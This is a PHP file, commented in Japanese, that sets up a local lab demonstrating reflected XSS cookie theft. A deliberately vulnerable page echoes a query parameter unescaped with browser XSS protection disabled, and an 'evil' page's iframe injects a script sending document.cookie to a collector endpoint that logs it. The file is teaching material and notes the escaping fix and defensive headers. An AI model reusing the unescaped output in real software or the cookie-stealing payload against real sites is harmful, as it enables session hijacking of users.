<?php
if (PHP_SAPI === 'cli') {
echo 'Usage:' . PHP_EOL;
echo " run: php -S localhost:8080 {$argv[0]}" . PHP_EOL;
echo ' browse http://localhost:8080/' . PHP_EOL;
exit;
}
// see also: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
// trace URL
term_dump($_SERVER['REQUEST_URI']);
// /cookie-provider と /evil は運営しているユーザが別という前提
switch(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)){
case '/keyword-service':
keyword_service_site();
return;
case '/evil':
// 攻撃者のサイト
evil_site();
return;
case '/evil/cookie-collector':
// 攻撃者のクッキーを盗むところ
evli_cookie_collector_page();
return;
default:
http_response_code(307);
header('Location: /evil');
return;
}
function term_dump($x){
ob_start();
var_dump($x);
error_log(ob_get_clean(), 4);
}
function keyword_service_site(){
setcookie('foo' // name
, 'abc' // value
, 0 // expire: 0 indicates don't expire
, '/keyword-service' // path: 同じホストで動かしているので /evil から見えない様にしておく
);
// 以下 HTTP ヘッダの設定
// see also: セキュリティを強化する7つの便利なHTTPヘッダ(https://devcentral.f5.com/articles/7http)
// ブラウザがヘッダを見て挙動を変えるというものなので、
// ブラウザがそのヘッダに対応していないと意味はない
// X-XSS-Protection
// Chrome, IE とかで XSS 対策がされているので、今回は実験用という事で「わざと」無効にする
header('X-XSS-Protection: 0'); // 0:無効
// https://developer.mozilla.org/docs/Web/HTTP/Headers/X-XSS-Protection
// このヘッダは XSS に直接的な対策なので、他の機能が動かなくなるとか副作用も考えられない
// 普通は有効にすべき
// Chrome なら --disable-xss-auditor でもいいみたい
// Content-Security-Policy / X-Content-Security-Policy / X-Webkit-CSP
// https://content-security-policy.com/
// https://developer.mozilla.org/docs/Web/Security/CSP
// https://www.html5rocks.com/en/tutorials/security/content-security-policy/
// same-origin policy じゃないものを適用する場合に使う
// <script>のタグ内のJSを禁止して src で指定したものだけ動かすとか出来る様になるらしい
// header('Content-Security-Policy: <policy>');
// ドメイン単位みたいなので、今回は使えない
// X-Frame-Options
// ピンポイントというより、包括的な対策だけど
// ブラウザが対応していれば、X-Frame-Options で防ぐ事も出来る
// header('X-Frame-Options: DENY');
// 全て禁止
// header('X-Frame-Options: SAMEORIGIN');
// この実験は同じ ORIGIN なので防げないけど、
// 攻撃者と攻撃を受けるサイトが別ORIGINな場合は多いと思うので、その場合なら防げる
// ただ、複数ドメインを使ったアプリケーションがうまく動かないかもしれない
// header('X-Frame-Options: ALLOW-FROM <url>');
// url が、どこまで書くものか分からない path の部分まで有効なのか? ブラウザに依るのか?
// https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Defending_with_X-Frame-Options_Response_Headers
// uri としかない
// https://developer.mozilla.org/ja/docs/Web/HTTP/X-Frame-Options
// 生成元とあるので scheme://host:port の制限かなと思う
?>
<html>
<head>
<title>COOKIE PROVIDER</title>
<meta charset="UTF-8">
</head>
<body>
キーワード:
<?php
if ($k = @$_GET['keyword']) {
echo $k; // BAD
// 本来こうすべき
// echo htmlspecialchars($k, ENT_QUOTES, 'UTF-8');
}
?>
</body>
</html>
<?php }
// 以降、攻撃者のサイト
function evil_site(){
?>
<html>
<head>
<title>EVIL SITE</title>
<meta charset="UTF-8">
</head>
<body>
<h1>evil site</h1>
<iframe src="/keyword-service?keyword=<script>window.location='/evil/cookie-collector?cookie='%2Bdocument.cookie;</script>"></iframe>
</body>
</html>
<?php }
function evli_cookie_collector_page(){
// これだと、画面に表示されるだけだけど、
// どこかに保存する事も可能
if ($c = @$_GET['cookie']) term_dump("received cookie: {$c}");
?>
<html>
<head>
<title>HELLO</title>
<meta charset="UTF-8">
</head>
<body>
hello
</body>
</html>
<?php }